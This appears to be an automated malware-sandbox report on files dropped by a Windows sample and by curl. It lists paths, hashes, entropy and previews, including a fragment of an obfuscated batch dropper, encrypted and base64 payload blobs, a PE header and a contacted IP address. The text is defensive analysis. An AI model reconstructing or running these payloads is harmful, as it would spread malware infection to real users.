Preview:	..W..7.<...<"...4..R.!I...Q.I.....A.@..W.Tsp.j.....Z..N.T...n...C/..{.......a....(.mb.+...N..d0.3kX.~..&..kk.4....A?[..\.z.....WZ5...I.+.8..rW].Z...OQ:.5..d..VY.cR.i.:..3.......{.#.'.k.\|.e..1..\|.vX.t.U.;.k...Z.7-..I....C.b.[XM...&.!....$'..?...~vN...R.E.u..w/...Oe...iFS$....\...7.B..........%...p......TP.l..p.9.6\|.r[.Q.~..o.j.k.....y......C.....[.c=>.=L{..N,....Ke.6}i...3.tV...1Z..ur..e.A.G..@S73y.......V!v`Ex.c2....3.).....42gu.....#....&}vC/b...&...........T...T5U...1`..~1:..\|...(D..]7.....t,..8...2H....A.\...2.....)-#.....b...tt.B..Ri...T.Zd..KI.I...........`}..I......G.+./.`y..!.e.....rJ.........fU[....].B..S.\O>{...O.c@..;k.O.9.9K..83.O...)A0R..........@r.U.R...#l....<.v`.....<N.8......kJ\..D.Z......)va3..Z-..WEH.u.~v{)aQ0c...p....[.Tl.Oi<n......BpQ.f.{`@...Q.)...BO...9..4..<x?..V...y.aR9..O.Y0...Rl...CM......{{v........n........EL..4xH....q....C.K......&~..J....4..:....4IO....X.....;!..C....n..Z.b..8.S....N(T

C:\Users\user\AppData\Local\Temp\Seek

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	ASCII text, with very long lines (1312), with CRLF line terminators
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	5.097783792840429
Encrypted:	false
SSDEEP:	768:GyoGt7cUtqnmJJbg0LJr+H6yqd1iODluLc2hAXQS1e4:zZtkmJJk+Jr+md8OBuLzGQge4
MD5:	EA06D1BF2AC0ECE898D348D4D0559255
SHA1:	FC121D4832E0DCEBED63E6AF20D88B3D6406314C
SHA-256:	1EC9CC6B926282A80E3938D9A3DD0944CF79D1F3513B489B64FFDF1121E3595F
SHA-512:	9F65B3D381C992446E11749F498F3E37979B050A787D176F46B8158008F7CBDE83C185133EE2F6DEDA8DEC6A6C45548D6D91B419FFC4FA3DBF1A6D7D6233C3E4
Malicious:	false
Preview:	Set Niger=g..MoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-..lMAAlien-..UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-..bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-..lNCompleted-..KRuxInjection-Med-..HeTft-Crazy-Shares-..hyCGifts-Rats-Shakira-Principle-Community-Gates-..PNbUntil-Tones-Illustrated-Varying-Senator-Considers-Floors-..uCUValuable-..Set Warcraft=h..nrcnAssociated-Tile-Almost-Edited-Edt-Victoria-Load-..bRUWma-Spreading-Worry-Calculate-..yxIParameter-Wondering-Syria-Toolbox-Acer-Tricks-Printable-..mDwGJuvenile-Usually-Packet-Kruger-Toronto-Shock-..jgRepublicans-Du-..Set Toe=u..aKaRTractor-Missed-Important-Declined-Eyes-..QjfmExplaining-Salary-Naked-..oKAttached-Genesis-Dude-Proceed-Johnston-Script-Libraries-..XUPlatinum-..WzTattoo-Credit-Funny-Sharp-Sally-..fhPPortal-Boot-Moore-Ourselves-..QHqInform-Creatures-Crash-..HLRaise-Tobacco-Colorado-..ldXPsp-Briefs-Seeking-..VJtwCanvas-Brake-Harper-Jake-Excluded-Dinner-Defence-All-Earl-..

C:\Users\user\AppData\Local\Temp\Seek.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1312), with CRLF line terminators
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	5.097783792840429
Encrypted:	false
SSDEEP:	768:GyoGt7cUtqnmJJbg0LJr+H6yqd1iODluLc2hAXQS1e4:zZtkmJJk+Jr+md8OBuLzGQge4
MD5:	EA06D1BF2AC0ECE898D348D4D0559255
SHA1:	FC121D4832E0DCEBED63E6AF20D88B3D6406314C
SHA-256:	1EC9CC6B926282A80E3938D9A3DD0944CF79D1F3513B489B64FFDF1121E3595F
SHA-512:	9F65B3D381C992446E11749F498F3E37979B050A787D176F46B8158008F7CBDE83C185133EE2F6DEDA8DEC6A6C45548D6D91B419FFC4FA3DBF1A6D7D6233C3E4
Malicious:	false
Preview:	Set Niger=g..MoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-..lMAAlien-..UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-..bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-..lNCompleted-..KRuxInjection-Med-..HeTft-Crazy-Shares-..hyCGifts-Rats-Shakira-Principle-Community-Gates-..PNbUntil-Tones-Illustrated-Varying-Senator-Considers-Floors-..uCUValuable-..Set Warcraft=h..nrcnAssociated-Tile-Almost-Edited-Edt-Victoria-Load-..bRUWma-Spreading-Worry-Calculate-..yxIParameter-Wondering-Syria-Toolbox-Acer-Tricks-Printable-..mDwGJuvenile-Usually-Packet-Kruger-Toronto-Shock-..jgRepublicans-Du-..Set Toe=u..aKaRTractor-Missed-Important-Declined-Eyes-..QjfmExplaining-Salary-Naked-..oKAttached-Genesis-Dude-Proceed-Johnston-Script-Libraries-..XUPlatinum-..WzTattoo-Credit-Funny-Sharp-Sally-..fhPPortal-Boot-Moore-Ourselves-..QHqInform-Creatures-Crash-..HLRaise-Tobacco-Colorado-..ldXPsp-Briefs-Seeking-..VJtwCanvas-Brake-Harper-Jake-Excluded-Dinner-Defence-All-Earl-..

C:\Users\user\AppData\Local\Temp\Shepherd

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996425515192741
Encrypted:	true
SSDEEP:	1536:QjlyE+ynuF+X9HagYe9pCzlN0QHVIOpsgEFqNqRBa:QjlR+J+NS/zlq2Ies/FqNqm
MD5:	6F514C002DA512210E64BB40B389938E
SHA1:	2E18FF508F42EFA8B771DE5C6C4AB776B95F27E5
SHA-256:	F3612359DC4FCF6B5B1A1F7DE8D01260B029FA5663DECD830EA701F49D8F9254
SHA-512:	32B0420FB84921812B864367776FD8F8EBFA00799CB474673CDA445448F7D60BBB43C2464622256B8CE5B45D58620E15C524B379914254C6A366896E5A9FE96E
Malicious:	true
Preview:	.,&.b..k...li..{^j....y..........'.qa.{K....$..Zd^...."...y...Q.Ni_.j.eq)..i-SC....u ...."."zbrxj...\=..._D.&....q.lr...@..m...f..\.. .V.#yg...../[....ny.0....:c.by.s...=L..7.R.. d40....q..k.........z..2..d./...R....M..J3m...!.c....H.D./._......z......#.....&.>...{E{...tVi:...C........&.F......>.'N.R....3.....Jm;>.m.....>....).vB..b?.Jir......<.q......?uY...]......0'...oO .....v.[.."..)G"..Or....n.%P....].......VrW5!..@....>NMH.......b.4.{;....\|...=28....w@i$.W1....B...;]..f.....$8D...(..=.>?J.3..n..,&.>k}Z...L~/qLo...@s2b...q..Ij..V>..6.%d...t....=..T%C..:>r....JB....!.=...\.R#P."w7...r...4<b\..A..:....hG.z....Y.6.4.o..y.........g{-....L4...'.%).q.d.T..AX..M.,..,.gR.$..T9r.,..M"80...]w...Z`Y.6....\P...@..K.y......A......tvZT..E....{.&...(..3......._....S}.Z..l..y......\}i.3T>../..M..~>....@Z.y..W...d.K.._....1@..=E.T.5...Nm...B...zvU....fd....<...5]..*n.j...\...g..KK..(A..6..9P.H../X......&...f.\|.;c.bi.....,..ly........D.........

C:\Users\user\AppData\Local\Temp\Showcase

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.998179873024088
Encrypted:	true
SSDEEP:	1536:IJ7fpWmVR947WJpKBjqGlfMyWw4XNetIVwnkjN5VfmzPKR:IJdWGiWJpg0SGEkRR
MD5:	3AE881AAE44C0D99645ECCD7C0476DE2
SHA1:	D888F63971C106EA70C94742259E4B012352C189
SHA-256:	53AD1ED80D9A1C61242F88DA71CE874E3F23DBA723A8BCD311A9C5611D9E6824
SHA-512:	46F11524A3BF7A9DF6E020C349C241CB23E33250CA05E8047D4D9555DBDFA9E008673961298E645B5B1A64635FEF9F8C2DD938B5E4496305013D1436CDF32659
Malicious:	true
Preview:	Y...P...aq...(..hJ..66!Ct9A.h....1U.U...%..J.....X..Z..~.....S...L...8.......A..\|.......W./..A...2......K....~....k..".j... Vo......{..+z..dT.RmoF;i.T..@........T......`W..J....p.R.."MJ.\|8./1.z.....&.6.....D/;....M\......(y........uUn8$U)e........{..01$.?...t+....M.(.kK.R..z.\|...\J....<s.... .j..4...!.1..pF.}=DC......bx.J....._.,.....E.........l.V...7.........r.`.z...d..qS...~Vu.=...Q/.(".B.[8o..'_.7q2T...x. {].....%y:.+2....-.z<.xpciP../...,...>(.YS.<.,..L....+R..Rb.ZQ..m.k....zp.ZE........B.x..P..D...LAjt.e_TS....6...Ad...=/~b.J.I.+. .,:.j......4I.6.[y.g.qM"...9h....JfW.m..u.N.$$.........NW.....g-ds...&=...z,..{N..=mU.Z.....&...... ......n.#.T~..JX.K..$.d.\|.H..8".k.....X.%W..>.4.....6.E.r..A...).....h. ...6.q..>T.$.:...1......6(...sXJf.......0.]7#!+....d7...s.{...y.D..c0.......XX...V[.e...?.GE.._......r....3H.K...pW.x..5[...]i#......)(i.keu...j...}...........\|..H....(.....7w.&.U...R..9aT.kP.~./5.(.4..........W.~.b....o..."A.

C:\Users\user\AppData\Local\Temp\Subsection

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	17183
Entropy (8bit):	7.988350562180771
Encrypted:	false
SSDEEP:	384:wA4VpjZ/UNGuIvgvnYQNJeCmEDnOwdDJKAQWX0emQYg5vh6p:wA4VpyNGHvgvnxeCvOWPQATYgOp
MD5:	C93AF8F0303E164AED3CC9322F159DAA
SHA1:	D187A11D000A1CF0FA59EFB54F4FFC231F7BEF06
SHA-256:	63D5678C4E49212E030896980B1AE1088198FDB582BEDBF4518F2B4B650A5F0B
SHA-512:	5F8388C1AAA4A06AE1CEAFC10E0E2C53FC62A41D2EACE3AFCB59F102440274395B7A6464CF739FCD8AE164145D3143F726C3D76B09A2A0EF3B30FAB7014885A8
Malicious:	false
Preview:	0....s.v..........DLq...p..........V.D.$......d.nW.G......a.....:T....I#.B....T..v...-.g..w....n..a.&..v..\....`.m...VI.K...`...-......K.%5:.,>HEAeL\|3.!...\.Ht.~.,".?/W..\....B}.8..FH...;...tP..k...4'./..L#h..s.G.>....X' D.T.....}...w.e_.M.P.3....apf...w#...R.....R..U..M4..{D.!....J....O.....D....V....^...X0....8?04\|..?y..a..2...G-H>....p.....W.p..".........8.v,...U....U...\T......[.Cn...j.z9VxR.d..iE5.8G]...m.d.QV.q..sGa.w.).K.8#7.!.."...S...C(..h.c..$........z...HI.Y/.Xk...8...t.=..q......{...H.(.H..l*wSq.$..}..9...G.{k.A4a....3.wE...9:/....^........Bab..>t1.Xa..f.y..B.e..r.a._.o.H.$..v.iuWy.....5...(.....K...%.FK....d..Q^.~.@.Y.u.{...y....H.o.M..<5,.s.L.Z...K.>j..,~..`Qu/"n.c..qm..rk..x.C.u.5\|^..l..v.[.:..S.!7....<.} J.ZZd..:..Bc>r.y^..<.'c?r.Y....!.Z..e.C..6..5..N.8.a%.5`...........$.q\|...O.#x(...9W\"..l)Au...=%...i.n.3.X.4br..c.X.kJ9.~.n..Ui~.s.e.v~;!9.4.\|/&&...a,..?....G"zO.....+0.pI....a...K.1.c.[;.....5.S%]v.......f.a..0..6..

C:\Users\user\AppData\Local\Temp\Vatican

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	71203
Entropy (8bit):	7.997295077101538
Encrypted:	true
SSDEEP:	1536:imGYQCuy5K7S0cDsS7+f/aGbWFff1MulVFqM:TGm15KG5N+YFFMulVFL
MD5:	A6FF954B2B3AB1B7CEB50D8A741634F4
SHA1:	E0187051AECF821376FD0510E5D77F3242BC8262
SHA-256:	92AC594838A86F8C997EB04BA0280CAEC17967B59BF2B0D04B14D28528DDABE3
SHA-512:	4E1C8BB9ED6882CEE55BF550FB447B06D6385FBAA29C0595B0056485D3FA5A61AABDE1A4AEC0C9059657490EBE746E6DF3AFBDA4187A510D043B51C7412957FA
Malicious:	true
Preview:	.D...9...@....l.......i....\(...P`....Gb..(Q.2.3...b.9.K..#.b.w....1..p.y1S3..+...1....B.V,.Cf.W?.BrI..KN.....Y.+....%6.......W\.k......8!\|...h.cw..l.#.V...s...k..)...+..jI..`_..wK.......,N..o.%.y...M%"....c.M..g....9.SAj)X0.N......\|.^.=.0.{E..#.a........U.A..mg7..c..=..{."..{..@c.`3.'..Q.....e....../ ..n..3.....n..u.0<..3SG....2.. .cjw...X..N"t.=.C...W..j.B5..<.1..se..}m...?.+.....}S.e..}g....+.r...k"..+.'G...T.otkG.....j..X.?.].....>..(.B.2...M.&'R.........>...o.=..=.I/.'....+.....Oa....L.&...:]...)...8K.E[.0...`..C.u.e"...5-.v(2.\|t+p....=./n....#....%..gu.b)^..r..nF.\CFy..76.-m.+D.K...R..?....p>k...0oQ..7.>.M.,4K...A.y..h.#.\|.Y..#..$t..152..`..-C}.......5...??.:.F..vz.U.j...g;s?.Hl.z.Iub2Y./...2.V.I...\..../.r&.;A...&.`gZ.u..-...GCJ.6.co.OsY-.I.....$.....^.#.3.J........wE.Y.:....tP..S...$.[.)+.]A...c..F..F~..5...5r.....u.D;.... .Oy..i..\|..`S..&...S,..G..;......d..B..,n]pi.G...u....g.R3...>z.7.]qA.1.?(.+...(.H..a=V..w."E...nt6\|.l.....

C:\Users\user\AppData\Local\Temp\Vermont

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.9972561119733765
Encrypted:	true
SSDEEP:	1536:MzQ5q/rbdL2APKYtyvbXgIMYQMjImuenvJkLO6DN:0JfP/YzVV9hnvJkLHDN
MD5:	37147518E6EEFEC4502BB35B161D0B3C
SHA1:	A149A777507CAA0BF842248C84C6B13035CFEF05
SHA-256:	9CD4216B30EA98D340AE517BACE407D2AF2D1886BCB003FE58DE7B6717EBBD39
SHA-512:	F67523BBCA1B5110766AF1EE0F624679B8D5FFD6F55F93E765C31814600DF34F47477EE290D11640449AB919201041462A57A69B3047A973B48556D42C23D973
Malicious:	true
Preview:	.[./....@l..5c..Z..5liQ.k...Ei^:...v....+x.j..j=W[...$.X.......#...q.......d...5W..#.;eC.....s.Kf..e.@..X...D.=./..]....v.x.!G....g.Bpk.....<..TD'.X..+..Y..z......>..lDB...e.$........7....j.v...f.....hc.x..... .R.k...i._D.Vn.-J..5.D.j..D=..3P..<.#.u....+..FY.9..).......y.....=.z.I.........b.-.Z.k.t.w..N.e.i.q.&.+6..g>...?\|.%q.q.....i#.._,.r.._.%.X...l~...%...p...U"..(.....w7^..s....n}....>&K...F.....r....g..M_....f6-(.4.8=..x..wE......[..k..Uu..<..5>$L..H+Y.4.....av!.m.Pl.m.}...w....]........EuU_.,..SA......Gd..@.c.H{..W...R.........=.....45.&_s.3.\|k^..2C.......o....6.3..FJ.k...i..c....%......%...w{....p.............rT..M.#.'.M.R..PB0S..q."..?.d...9.S.DWE.{.`_..8w.:t..._..4N[..+Ib{."..aL..8C.0!v...Y.c.H$.=.....M....3./cA..Y.'..d.\.,...'y..x.A.YR...h}..mB...'.;.I..P.}.Kx2...........k.5....w9..wV..M....l...S..#..O....`d#V.[.~..+<...&N...V..C....H_.....\|.l....q.ba..v..#.Y..L.......o.LGi.M.>'oTm.-.P.;...5..<^.m......6....)..7.v...%;

C:\Users\user\AppData\Local\Temp\Weeks

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	19214
Entropy (8bit):	6.415320460009485
Encrypted:	false
SSDEEP:	384:AlFuOqohnWzR7NNilkEdpMMKAdbLPlUccucHU0f//+ddNEqCt7E3c:8FxfhnWz8kETRZbRUccWk+3+e3c
MD5:	26E155FC3EF2C17CD9E020224971D6B6
SHA1:	B39303949CB9DF0E79E7D379492EF985F9803BCD
SHA-256:	A587A7035E7BA1E0A687D365C7239724C2AF5616826EE7CBE6B42C03AC89448B
SHA-512:	E7E19FF87E894D3EB0DEB2A39C78E6C158350DD4E641A1BA7127EBC6120AED680EE86BFA06C448B6B640D3065AC5A5A4E7AE0EC7E7D97927C5256BA549230FD9
Malicious:	false
Preview:	OVERTOOLBARALOTNHL..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B............................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cbmaa

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2047980
Entropy (8bit):	5.693378984841103
Encrypted:	false
SSDEEP:	24576:4SwAsCOCLyZNJEXP62JHUdnWcv9BK6/ZKF+l8Qz0xaEf+eJYA3pYElWzgdRe:4gs2yZryQ/ZaZkMYLZ
MD5:	9FAEAD3FD586F150C4D8BF862EAE33A6
SHA1:	D6FEE79B329461541D4BF7639DA5932A9AFB7B10
SHA-256:	51D99751DD2134BB485247EF29D3BB6C5B48ED08F61B2EB41F12E7E41638D8C1
SHA-512:	6B87F37253606B06CD9A244BB74318B95CE8719CAA5623EF10B8C26C01529C60B917A76FC56CCF70275F40290993DEC1D56284B39FE91910A9726A39DF790269
Malicious:	false
Preview:	VFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0MyQ0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FCQGU5RnBCWnEtTUFVY3Z4ZURHcDo2REdJOkdDWWF+eGVFWWt1NkRAcy9NSV1jdGprcEdyODRIbWtUT0FrY3R6Z2doeVU2QkpxLU1CNkpJaGVHR3A6NlVtbGhpQ1VhfnhlSUFDQ0NDQ0NBQ05KRENBQE1BUVlBMndCSlR3QUNDQUFDQUFBQzRJQUFDUXNAQ2VDQ2JlQ0NBRllKSUNCQ0lDQUxPQ0NDQ0BDQUNJS0NDQUNBQUVBQUFASUNBQUFBQ0FBREFBQUNCb0FDQ0FVQ0FDQ0NBQ0NDQVBBUklDQUVJQ0Z8Z0BLQ0NlQEFqWUlDR0FDQUVBQUFBQ0lTQUFBU0NBQUNBQUFDRUlBQ0NBQUNBQ0NDQUNDQ05Kc0NJTlFBSUNDSVFDOkNhckdBQ0lJQ0NBQ0FBQUFBakpFUEFHZ21DQUFDb0FjQ1pJa0NDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FDQ0FDRlNBZUNDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFMbFpuZUhRQ0NBQ3diUUFDQUpBQ0NBQndBQ0NDQkNDQ0FBQUNJQ0FBSUNDSUFDQ0NLQ0NBW0s9e1hHRDBZUUFBWWtnQ0FBQ0NDQUFDTEFBQ0FASUNDQUFDQUNDQ0FDQ0NBQUFDSUdBQUlHQ31aRUQyW1NDQUNEcClAZ0NBc0FBQUFDQUNBQUNnQ0FBQ0FB

C:\Users\user\AppData\Local\Temp\dmgfe

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	298556
Entropy (8bit):	5.379476611183253
Encrypted:	false
SSDEEP:	3072:T7MVB4NzC5tmjDNpJol5YccxLSnh7VPHb6SYZ8g3H5mjhg/9/C//n0Q+v8o/q1u2:TLmOwmunJcZ8gpgq5O9YrihCTHE
MD5:	65E07A754EFFE6EC11638A25447289A5
SHA1:	948CBF6B970FFB432D8EBB1D367CEE5AFA826A83
SHA-256:	995338989BBEB5F5304A6C1FC13D75580A26BED964CC9F930E6D6DBC59FA5FD5
SHA-512:	67F896FE0B1A4385119351BD41A5D62FEF03F261A32E2B347DE2F2E1475A482BD366BC9CFFA26690EC8105DB0BC60267DF2397D6B7EC4A9CA7EE49819552CFB6
Malicious:	false
Preview:	VFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0M2Q0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FEQ1VzWkdoTE9tRDRReHFAZ0dNNGVaNWl5NU42TXp5QGdNTTRpWjRoTW9EJzB0ckJnVU02Z1hzal9oRjRVeHNCY0pMNllaa1xPbUQ3SVRvamFVTTRlWlVtbGhpS1F6eUBhSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUJTUlFBQ1RJRUZDRkNRSTJLQ0FDQ0NBQUFDSU1BQUx1R0RBU1tDQ0xDQkNJTGVDUUNBQUFBQWVHb0BBQUFTQ0FBQzRBRUNBSUJDQ0FBU0FDQ0NFQ0NDQkFBQ0lDQUFJQ0NNQUNDQ0NDQ0FDSUxDQ3dDQUVBQUFnS2NGQUFNQ0NBQUNBQkFDQUpBQ0NBQUNFQ0NDRUNDQ0FBQUNJQEFBSUNDSUFDQ0NDQ0NBQ0xJMUNnQFFBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJNENHQ3RDR0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NDNTJaWmoyQUNDQ3dNTUBJQ0FRSUNDSTBDR0NDQENBQ0lJQ0NBQ0FBQUFBQUNJQ0FDQUNDR0F3Y21SamRPRUNDSUpqQUNDQzRDR0NBSEFDSUNEZ0lTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQUxvWmpkR0VDQ0FDR1ln

C:\Users\user\AppData\Local\Temp\fsqyf

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\fxhyo

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.0271691184406193
Encrypted:	false
SSDEEP:	3:fuMjn:2c
MD5:	25E067CD4E4A75F63362CC5BBB6753F7
SHA1:	B44F0BDC9FF51735FFC74806DF56F87C47F232D8
SHA-256:	79372B9479FE4256464762527DE1169F3C449582EC7625C2D7A1F6FB7D4B62F9
SHA-512:	F863DD82AA3DC83387866153D3862F96DAD0F8F3A60D0ACC9F076EC20BD659671802FAD9B2E6B3E11E82C548C88040CB58682CD8566EE149B228E89A5850B4EB
Malicious:	false
Preview:	8.46.123.75

C:\Users\user\AppData\Local\Temp\gfdap

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\gjmcf

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\gtnez

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.698068512058839
Encrypted:	false
SSDEEP:	3:Bwc5kVcWXXp1n:OceuWXXb
MD5:	6B3C07F4B0CCB74597582473E78AC2CC
SHA1:	B7FEAB641361EF360A1A6A871EBC2B4F8D1DB37F
SHA-256:	C3DD04036BC0F4701E4539BCB9C59C25A4439A74E0D6B70980B494FEE59D7687
SHA-512:	3176A698F4992981725F62A2062F64E33C0AACC0FABC78D038F44A0026312179838FB7E3B2708B31E5990660CC29C9010F990A16B473B9D69B444F04DC5A0CCE
Malicious:	false
Preview:	4CA966315CCC70F4BEF0FE322EDE46

C:\Users\user\AppData\Local\Temp\hzpaz

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\ixhzf

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.145748944015591
Encrypted:	false
SSDEEP:	3:9zHW4mVQFjDVB++U8qYZxGgUqeJ:RHW4miRPrqYZcLqeJ
MD5:	BEAABAAF1170504DE9CB53DE6EA6C43D
SHA1:	738AF18491BDC5F5F8EB581ABF32BE11F7B4BEA0
SHA-256:	B3F0913BFB1C486CD263BF9540D89DA3345387EEDD5EC82AC939592E212FAD90
SHA-512:	4731E8A631796596E6DA6A30B5FD7F0C5DD26C9E906C33A5F9B58C82EB4E53167D5E748D5AE263EC8317C659735C8C06DF09540AB71952D0947FDFF4FF6CFD0C
Malicious:	false
Preview:	UmV2Z2Z3ZURtdGtrZXEsZ3pnKFJnfm1sd2VGZXZpY2VzLG16ZSo2KDMqKmA0ODdgNWo1MzYzNmA0MDc1NmY0MmExZmc9OmY4Ozs7IjA=

C:\Users\user\AppData\Local\Temp\jocox

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\lkufr

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	76
Entropy (8bit):	4.733997907838829
Encrypted:	false
SSDEEP:	3:GZNuxTXGyiXbNNvGUX5djB+n1fzKB:GZN4TXGzqAd9WfzKB
MD5:	7EC936AF6BBF93CFD08DE32EB291263D
SHA1:	6216FC54E2B9EBDB416331AA344540846840F410
SHA-256:	BFAB8D48CEC02A93FEC9BF66AA8CEFE0D02EC305FD335BBBACBE61F996990B26
